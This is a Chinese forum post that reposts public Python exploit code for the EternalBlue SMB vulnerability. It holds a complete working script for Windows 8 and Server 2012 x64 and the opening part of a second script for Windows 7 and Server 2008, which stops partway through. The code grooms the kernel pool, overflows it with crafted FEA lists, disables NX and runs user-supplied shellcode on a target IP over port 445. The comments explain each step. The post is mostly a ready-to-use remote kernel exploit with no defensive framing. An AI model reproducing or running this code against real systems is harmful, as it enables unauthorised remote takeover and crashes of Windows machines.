搜索
查看: 247|回复: 0

eternalblue_win7&2008&Windows 8&2012 exploit

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-5-22 14:38:07 | 显示全部楼层 |阅读模式
EternalBlue exploit for Windows 8 and 2012
  1. #!/usr/bin/python
  2. from impacket import smb
  3. from struct import pack
  4. import os
  5. import sys
  6. import socket

  7. '''
  8. EternalBlue exploit for Windows 8 and 2012 by sleepya
  9. The exploit might FAIL and CRASH a target system (depended on what is overwritten)
  10. The exploit support only x64 target

  11. Tested on:
  12. - Windows 2012 R2 x64
  13. - Windows 8.1 x64


  14. Default Windows 8 and later installation without additional service info:
  15. - anonymous is not allowed to access any share (including IPC$)
  16. - tcp port 445 if filtered by firewall


  17. Reference:
  18. - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
  19. - "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit


  20. Exploit info:
  21. - If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
  22.     https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
  23. - The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
  24.     On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
  25. - The exploit is likely to crash a target when it failed
  26. - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
  27. - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
  28. - See the code and comment for exploit detail.


  29. Disable NX method:
  30. - The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
  31. - The exploit is also the same but we need to trigger bug twice
  32. - First trigger, set MDL.MappedSystemVa to target pte address
  33.   - Write '\x00' to disable the NX flag
  34. - Second trigger, do the same as Windows 7 exploit
  35. - From my test, if exploit disable NX successfully, I always get code execution
  36. '''

  37. # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
  38. NTFEA_SIZE = 0x9000

  39. ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260  # with these fea, ntfea size is 0x1c80
  40. ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d  # 0x8fe8 - 0x1c80 - 0xc = 0x735c
  41. ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148  # overflow to SRVNET_BUFFER_HDR

  42. '''
  43. Reverse from srvnet.sys (Win2012 R2 x64)
  44. - SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():

  45. // size 0x90
  46. struct SRVNET_BUFFER_HDR {
  47.         LIST_ENTRY list;
  48.         USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
  49.         char unknown0[6];
  50.         char *pNetRawBuffer;  // MUST point to valid address (check if this request is "\xfdSMB")
  51.         DWORD netRawBufferSize; // offset: 0x20
  52.         DWORD ioStatusInfo;
  53.         DWORD thisNonPagedPoolSize;  // will be 0x82e8 for netRawBufferSize 0x8100
  54.         DWORD pad2;
  55.         char *thisNonPagedPoolAddr; // 0x30  points to SRVNET_BUFFER
  56.         PMDL pmdl1; // point at offset 0x90 from this struct
  57.         DWORD nByteProcessed; // 0x40
  58.         char unknown4[4];
  59.         QWORD smbMsgSize; // MUST be modified to size of all recv data
  60.         PMDL pmdl2; // 0x50:  if want to free corrupted buffer, need to set to valid address
  61.         QWORD pSrvNetWskStruct;  // want to change to fake struct address
  62.         DWORD unknown6; // 0x60
  63.         char unknown7[12];
  64.         char unknown8[0x20];
  65. };

  66. struct SRVNET_BUFFER {
  67.         char transportHeader[80]; // 0x50
  68.         char buffer[reqSize+padding];  // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
  69.         SRVNET_BUFFER_HDR hdr; //some header size 0x90
  70.         //MDL mdl1; // target
  71. };

  72. In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
  73. Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
  74.   DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
  75. So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
  76. If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
  77. '''
  78. # Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
  79. # Here is the important fields on x64
  80. # - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
  81. #                           a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
  82. # - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
  83. #                           This value MUST be exactly same as the number of bytes we send.
  84. #                           Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
  85. # - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
  86. #                           The value MUST point to valid (might be fake) struct.
  87. # - offset 0x90 (MDL)   : MDL for describe receiving SMB request buffer
  88. #   - 0x90 (VOID*)    : MDL.Next should be NULL
  89. #   - 0x98 (USHORT)   : MDL.Size should be some value that not too small
  90. #   - 0x9a (USHORT)   : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
  91. #   - 0x90 (VOID*)    : MDL.Process should be NULL
  92. #   - 0x98 (VOID*)    : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
  93. #                         The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
  94. #                        
  95. #
  96. # To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
  97. # Here is related field for freeing corrupted buffer
  98. # - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
  99. # - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
  100. # - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
  101. #                           before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
  102. #                           your shellcode as function argument
  103. # - offset 0x50 (PMDL)  : points to any fake MDL with MDL.Flags 0x20 does not set
  104. # The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
  105. # Here is x64 assembly code for setting nByteProcessed field
  106. # - fetch SRVNET_BUFFER address from function argument
  107. #     \x48\x8b\x54\x24\x40  mov rdx, [rsp+0x40]
  108. # - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
  109. #     \x48\x01\xd1          add rcx, rdx
  110. #     \x48\x89\x4a\x30      mov [rdx+0x30], rcx
  111. # - set nByteProcessed for trigger free after return
  112. #     \x8b\x4a\x48          mov ecx, [rdx+0x48]
  113. #     \x89\x4a\x40          mov [rdx+0x40], ecx

  114. TARGET_HAL_HEAP_ADDR = 0xffffffffffd00e00  # for put fake struct and shellcode

  115. # Note: feaList will be created after knowing shellcode size.

  116. # feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
  117. # PTE of 0xffffffffffd01000 is at 0xfffff6ffffffe808
  118. # NX bit is at 0xfffff6ffffffe80f
  119. # MappedSystemVa = 0xfffff6ffffffe80f - 0x7f = 0xfffff6ffffffe790
  120. fakeSrvNetBufferX64Nx = '\x00'*16
  121. fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
  122. fakeSrvNetBufferX64Nx += '\x00'*16
  123. fakeSrvNetBufferX64Nx += '\x00'*16
  124. fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
  125. fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR)  # _, _, pointer to fake struct
  126. fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
  127. fakeSrvNetBufferX64Nx += '\x00'*16
  128. fakeSrvNetBufferX64Nx += '\x00'*16
  129. fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
  130. fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0xfffff6ffffffe80f-0x7f)  # MDL.Process, MDL.MappedSystemVa

  131. feaListNx = pack('<I', 0x10000)
  132. feaListNx += ntfea9000
  133. feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
  134. # stop copying by invalid flag (can be any value except 0 and 0x80)
  135. feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)


  136. def createFakeSrvNetBuffer(sc_size):
  137.         # 0x200 is size of fakeSrvNetBufferX64
  138.         totalRecvSize = 0x80 + 0x200 + sc_size
  139.         fakeSrvNetBufferX64 = '\x00'*16
  140.         fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)  # flag, _, _, pNetRawBuffer
  141.         fakeSrvNetBufferX64 += '\x00'*16
  142.         fakeSrvNetBufferX64 += '\x00'*16
  143.         fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize)  # offset 0x40
  144.         fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR)  # pmdl2, pointer to fake struct
  145.         fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
  146.         fakeSrvNetBufferX64 += '\x00'*16
  147.         fakeSrvNetBufferX64 += '\x00'*16
  148.         fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
  149.         fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80)  # MDL.Process, MDL.MappedSystemVa
  150.         return fakeSrvNetBufferX64

  151. def createFeaList(sc_size):
  152.         feaList = pack('<I', 0x10000)
  153.         feaList += ntfea9000
  154.         fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
  155.         feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
  156.         # stop copying by invalid flag (can be any value except 0 and 0x80)
  157.         feaList += pack('<BBH', 0x12, 0x34, 0x5678)
  158.         return feaList

  159. # fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
  160. # x64: fake struct is at ffffffff ffd00e00
  161. #   offset 0x50:  KSPIN_LOCK
  162. #   offset 0x58:  LIST_ENTRY must be valid address. cannot be NULL.
  163. #   offset 0x110: array of pointer to function
  164. #   offset 0x13c: set to 3 (DWORD) for invoking ptr to function
  165. # some useful offset
  166. #   offset 0x120: arg1 when invoking ptr to function
  167. #   offset 0x128: arg2 when invoking ptr to function
  168. #
  169. # code path to get code exection after this struct is controlled
  170. # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
  171. fake_recv_struct = ('\x00'*16)*5
  172. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58)  # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
  173. fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0)  # offset 0x60
  174. fake_recv_struct += ('\x00'*16)*10
  175. fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x1f0, 0)  # offset 0x110: fn_ptr array
  176. fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0)  # set arg1 to -0x8150
  177. fake_recv_struct += pack('<QII', 0, 0, 3)  # offset 0x130
  178. fake_recv_struct += ('\x00'*16)*11
  179. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x200)  # shellcode address


  180. def getNTStatus(self):
  181.         return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
  182. setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

  183. def sendEcho(conn, tid, data):
  184.         pkt = smb.NewSMBPacket()
  185.         pkt['Tid'] = tid

  186.         transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
  187.         transCommand['Parameters'] = smb.SMBEcho_Parameters()
  188.         transCommand['Data'] = smb.SMBEcho_Data()

  189.         transCommand['Parameters']['EchoCount'] = 1
  190.         transCommand['Data']['Data'] = data
  191.         pkt.addCommand(transCommand)

  192.         conn.sendSMB(pkt)
  193.         recvPkt = conn.recvSMB()
  194.         if recvPkt.getNTStatus() == 0:
  195.                 print('got good ECHO response')
  196.         else:
  197.                 print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))


  198. # do not know why Word Count can be 12
  199. # if word count is not 12, setting ByteCount without enough data will be failed
  200. class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
  201.         structure = (
  202.                 ('MaxBuffer','<H'),
  203.                 ('MaxMpxCount','<H'),
  204.                 ('VCNumber','<H'),
  205.                 ('SessionKey','<L'),
  206.                 #('AnsiPwdLength','<H'),
  207.                 ('UnicodePwdLength','<H'),
  208.                 ('_reserved','<L=0'),
  209.                 ('Capabilities','<L'),
  210.         )

  211. def createSessionAllocNonPaged(target, size):
  212.         # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
  213.         # You can see the allocation logic (even code is not the same) in WinNT4 source code
  214.         # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
  215.         conn = smb.SMB(target, target)
  216.         _, flags2 = conn.get_flags()
  217.         # FLAGS2_EXTENDED_SECURITY MUST not be set
  218.         flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
  219.         # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
  220.         if size >= 0xffff:
  221.                 flags2 &= ~smb.SMB.FLAGS2_UNICODE
  222.                 reqSize = size // 2
  223.         else:
  224.                 flags2 |= smb.SMB.FLAGS2_UNICODE
  225.                 reqSize = size
  226.         conn.set_flags(flags2=flags2)
  227.         
  228.         pkt = smb.NewSMBPacket()

  229.         sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
  230.         sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()

  231.         sessionSetup['Parameters']['MaxBuffer']        = 61440  # can be any value greater than response size
  232.         sessionSetup['Parameters']['MaxMpxCount']      = 2  # can by any value
  233.         sessionSetup['Parameters']['VCNumber']         = os.getpid()
  234.         sessionSetup['Parameters']['SessionKey']       = 0
  235.         sessionSetup['Parameters']['AnsiPwdLength']    = 0
  236.         sessionSetup['Parameters']['UnicodePwdLength'] = 0
  237.         sessionSetup['Parameters']['Capabilities']     = 0x80000000

  238.         # set ByteCount here
  239.         sessionSetup['Data'] = pack('<H', size) + '\x00'*20
  240.         pkt.addCommand(sessionSetup)

  241.         conn.sendSMB(pkt)
  242.         recvPkt = conn.recvSMB()
  243.         if recvPkt.getNTStatus() == 0:
  244.                 print('SMB1 session setup allocate nonpaged pool success')
  245.         else:
  246.                 print('SMB1 session setup allocate nonpaged pool failed')
  247.         return conn


  248. # Note: impacket-0.9.15 struct has no ParameterDisplacement
  249. ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
  250. class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
  251.     structure = (
  252.         ('TotalParameterCount','<H=0'),
  253.         ('TotalDataCount','<H'),
  254.         ('ParameterCount','<H=0'),
  255.         ('ParameterOffset','<H=0'),
  256.         ('ParameterDisplacement','<H=0'),
  257.         ('DataCount','<H'),
  258.         ('DataOffset','<H'),
  259.         ('DataDisplacement','<H=0'),
  260.         ('FID','<H=0'),
  261.     )

  262. def send_trans2_second(conn, tid, data, displacement):
  263.         pkt = smb.NewSMBPacket()
  264.         pkt['Tid'] = tid

  265.         # assume no params

  266.         transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
  267.         transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
  268.         transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

  269.         transCommand['Parameters']['TotalParameterCount'] = 0
  270.         transCommand['Parameters']['TotalDataCount'] = len(data)

  271.         fixedOffset = 32+3+18
  272.         transCommand['Data']['Pad1'] = ''

  273.         transCommand['Parameters']['ParameterCount'] = 0
  274.         transCommand['Parameters']['ParameterOffset'] = 0

  275.         if len(data) > 0:
  276.                 pad2Len = (4 - fixedOffset % 4) % 4
  277.                 transCommand['Data']['Pad2'] = '\xFF' * pad2Len
  278.         else:
  279.                 transCommand['Data']['Pad2'] = ''
  280.                 pad2Len = 0

  281.         transCommand['Parameters']['DataCount'] = len(data)
  282.         transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
  283.         transCommand['Parameters']['DataDisplacement'] = displacement

  284.         transCommand['Data']['Trans_Parameters'] = ''
  285.         transCommand['Data']['Trans_Data'] = data
  286.         pkt.addCommand(transCommand)

  287.         conn.sendSMB(pkt)


  288. def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
  289.         pkt = smb.NewSMBPacket()
  290.         pkt['Tid'] = tid

  291.         command = pack('<H', setup)

  292.         transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
  293.         transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
  294.         transCommand['Parameters']['MaxSetupCount'] = 1
  295.         transCommand['Parameters']['MaxParameterCount'] = len(param)
  296.         transCommand['Parameters']['MaxDataCount'] = 0
  297.         transCommand['Data'] = smb.SMBTransaction2_Data()

  298.         transCommand['Parameters']['Setup'] = command
  299.         transCommand['Parameters']['TotalParameterCount'] = len(param)
  300.         transCommand['Parameters']['TotalDataCount'] = len(data)

  301.         fixedOffset = 32+3+38 + len(command)
  302.         if len(param) > 0:
  303.                 padLen = (4 - fixedOffset % 4 ) % 4
  304.                 padBytes = '\xFF' * padLen
  305.                 transCommand['Data']['Pad1'] = padBytes
  306.         else:
  307.                 transCommand['Data']['Pad1'] = ''
  308.                 padLen = 0

  309.         transCommand['Parameters']['ParameterCount'] = len(param)
  310.         transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

  311.         if len(data) > 0:
  312.                 pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
  313.                 transCommand['Data']['Pad2'] = '\xFF' * pad2Len
  314.         else:
  315.                 transCommand['Data']['Pad2'] = ''
  316.                 pad2Len = 0

  317.         transCommand['Parameters']['DataCount'] = firstDataFragmentSize
  318.         transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

  319.         transCommand['Data']['Trans_Parameters'] = param
  320.         transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
  321.         pkt.addCommand(transCommand)

  322.         conn.sendSMB(pkt)
  323.         recvPkt = conn.recvSMB() # must be success
  324.         if recvPkt.getNTStatus() == 0:
  325.                 print('got good NT Trans response')
  326.         else:
  327.                 print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
  328.                 sys.exit(1)
  329.         
  330.         i = firstDataFragmentSize
  331.         while i < len(data):
  332.                 sendSize = min(4096, len(data) - i)
  333.                 if len(data) - i <= 4096:
  334.                         if not sendLastChunk:
  335.                                 break
  336.                 send_trans2_second(conn, tid, data[i:i+sendSize], i)
  337.                 i += sendSize
  338.         
  339.         if sendLastChunk:
  340.                 conn.recvSMB()
  341.         return i

  342.         
  343. # connect to target and send a large nbss size with data 0x80 bytes
  344. # this method is for allocating big nonpaged pool on target
  345. def createConnectionWithBigSMBFirst80(target, for_nx=False):
  346.         sk = socket.create_connection((target, 445))
  347.         pkt = '\x00' + '\x00' + pack('>H', 0x8100)
  348.         # There is no need to be SMB2 because we want the target free the corrupted buffer.
  349.         # Also this is invalid SMB2 message.
  350.         # I believe NSA exploit use SMB2 for hiding alert from IDS
  351.         #pkt += '\xffSMB' # smb2
  352.         # it can be anything even it is invalid
  353.         pkt += 'BAAD' # can be any
  354.         if for_nx:
  355.                 # MUST set no delay because 1 byte MUST be sent immediately
  356.                 sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  357.                 pkt += '\x00'*0x7b  # another byte will be sent later to disabling NX
  358.         else:
  359.                 pkt += '\x00'*0x7c
  360.         sk.send(pkt)
  361.         return sk


  362. def exploit(target, shellcode, numGroomConn):
  363.         # force using smb.SMB for SMB1
  364.         conn = smb.SMB(target, target)

  365.         # can use conn.login() for ntlmv2
  366.         conn.login_standard('', '')
  367.         server_os = conn.get_server_os()
  368.         print('Target OS: '+server_os)
  369.         if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
  370.                 print('This exploit does not support this target')
  371.                 sys.exit()

  372.         tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC

  373. )

  374.         # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
  375.         progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)

  376.         # Another NT transaction for disabling NX
  377.         nxconn = smb.SMB(target, target)
  378.         nxconn.login_standard('', '')
  379.         nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC

  380. )
  381.         nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)

  382.         # create some big buffer at server
  383.         # this buffer MUST NOT be big enough for overflown buffer
  384.         allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
  385.         
  386.         # groom nonpaged pool
  387.         # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
  388.         srvnetConn = []
  389.         for i in range(numGroomConn):
  390.                 sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
  391.                 srvnetConn.append(sk)

  392.         # create buffer size NTFEA_SIZE at server
  393.         # this buffer will be replaced by overflown buffer
  394.         holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
  395.         # disconnect allocConn to free buffer
  396.         # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
  397.         allocConn.get_socket().close()

  398.         # hope one of srvnetConn is next to holeConn
  399.         for i in range(5):
  400.                 sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
  401.                 srvnetConn.append(sk)
  402.                
  403.         # remove holeConn to create hole for fea buffer
  404.         holeConn.get_socket().close()
  405.         
  406.         # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
  407.         # first trigger to overwrite srvnet buffer struct for disabling NX
  408.         send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
  409.         recvPkt = nxconn.recvSMB()
  410.         retStatus = recvPkt.getNTStatus()
  411.         if retStatus == 0xc000000d:
  412.                 print('good response status for nx: INVALID_PARAMETER')
  413.         else:
  414.                 print('bad response status for nx: 0x{:08x}'.format(retStatus))
  415.                
  416.         # one of srvnetConn struct header should be modified
  417.         # send '\x00' to disable nx
  418.         for sk in srvnetConn:
  419.                 sk.send('\x00')
  420.         
  421.         # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
  422.         # second trigger to place fake struct and shellcode
  423.         send_trans2_second(conn, tid, feaList[progress:], progress)
  424.         recvPkt = conn.recvSMB()
  425.         retStatus = recvPkt.getNTStatus()
  426.         if retStatus == 0xc000000d:
  427.                 print('good response status: INVALID_PARAMETER')
  428.         else:
  429.                 print('bad response status: 0x{:08x}'.format(retStatus))

  430.         # one of srvnetConn struct header should be modified
  431.         # a corrupted buffer will write recv data in designed memory address
  432.         for sk in srvnetConn:
  433.                 sk.send(fake_recv_struct + shellcode)

  434.         # execute shellcode
  435.         for sk in srvnetConn:
  436.                 sk.close()
  437.         
  438.         # nicely close connection (no need for exploit)
  439.         nxconn.disconnect_tree(tid)
  440.         nxconn.logoff()
  441.         nxconn.get_socket().close()
  442.         conn.disconnect_tree(tid)
  443.         conn.logoff()
  444.         conn.get_socket().close()


  445. if len(sys.argv) < 3:
  446.         print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
  447.         sys.exit(1)

  448. TARGET=sys.argv[1]
  449. numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

  450. fp = open(sys.argv[2], 'rb')
  451. sc = fp.read()
  452. fp.close()

  453. if len(sc) > 4096:
  454.         print('Shellcode too long. The place that this exploit put a shellcode is limited to 4096 bytes.')
  455.         sys.exit()

  456. # Now, shellcode is known. create a feaList
  457. feaList = createFeaList(len(sc))

  458. print('shellcode size: {:d}'.format(len(sc)))
  459. print('numGroomConn: {:d}'.format(numGroomConn))

  460. exploit(TARGET, sc, numGroomConn)
  461. print('done')
复制代码
EternalBlue exploit for Windows 7/2008
  1. #!/usr/bin/python
  2. from impacket import smb
  3. from struct import pack
  4. import os
  5. import sys
  6. import socket

  7. '''
  8. EternalBlue exploit for Windows 7/2008 by sleepya
  9. The exploit might FAIL and CRASH a target system (depended on what is overwritten)

  10. Tested on:
  11. - Windows 7 SP1 x64
  12. - Windows 2008 R2 x64

  13. Reference:
  14. - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/


  15. Bug detail:
  16. - For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
  17. - You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code
  18.     https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263
  19. - In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here.
  20.     if (nextFea > lastFeaStartLocation) {
  21.       // this code is for shrinking FeaList->cbList because last fea is invalid.
  22.       // FeaList->cbList is DWORD but it is cast to WORD.
  23.       *(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList;
  24.       return size;
  25.     }
  26. - Here is related struct info.
  27. #####
  28. typedef struct _FEA {   /* fea */
  29.         BYTE fEA;        /* flags                              */
  30.         BYTE cbName;     /* name length not including NULL */
  31.         USHORT cbValue;  /* value length */
  32. } FEA, *PFEA;

  33. typedef struct _FEALIST {    /* feal */
  34.         DWORD cbList;   /* total bytes of structure including full list */
  35.         FEA list[1];    /* variable length FEA structures */
  36. } FEALIST, *PFEALIST;

  37. typedef struct _FILE_FULL_EA_INFORMATION {
  38.   ULONG  NextEntryOffset;
  39.   UCHAR  Flags;
  40.   UCHAR  EaNameLength;
  41.   USHORT EaValueLength;
  42.   CHAR   EaName[1];
  43. } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
  44. ######


  45. Exploit info:
  46. - I do not reverse engineer any x86 binary so I do not know about exact offset.
  47. - The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
  48.   This memory page is executable on Windows 7 and Wndows 2008.
  49. - The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
  50. - The exploit trick is same as NSA exploit
  51. - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
  52. - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
  53. - See the code and comment for exploit detail.


  54. srvnet buffer info:
  55. - srvnet buffer contains a pointer to another struct and MDL about received buffer
  56.   - Controlling MDL values results in arbitrary write
  57.   - Controlling pointer to fake struct results in code execution because there is pointer to function
  58. - A srvnet buffer is created after target receiving first 4 bytes
  59.   - First 4 bytes contains length of SMB message
  60.   - The possible srvnet buffer size is "..., 0x8???, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
  61. - After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
  62. - SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
  63. - SrvNetCommonReceiveHandler() passes SMB message to SMB handler
  64.   - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
  65.   - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
  66.   - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
  67.   - Memory leak is ok to be ignored
  68. '''

  69. # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
  70. # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
  71. # the size 0x11000 is used in nsa exploit. this size is more reliable.
  72. NTFEA_SIZE = 0x11000
  73. # the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page

  74. ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde

  75. ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600  # with these fea, ntfea size is 0x1c20
  76. ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be  # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc

  77. ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494  # with these fea, ntfea size is 0x1b6f0
  78. ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee  # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec

  79. ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }

  80. '''
  81. Reverse from srvnet.sys (Win7 x64)
  82. - SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():

  83. // for x64
  84. struct SRVNET_BUFFER {
  85.         // offset from POOLHDR: 0x10
  86.         USHORT flag;
  87.         char pad[2];
  88.         char unknown0[12];
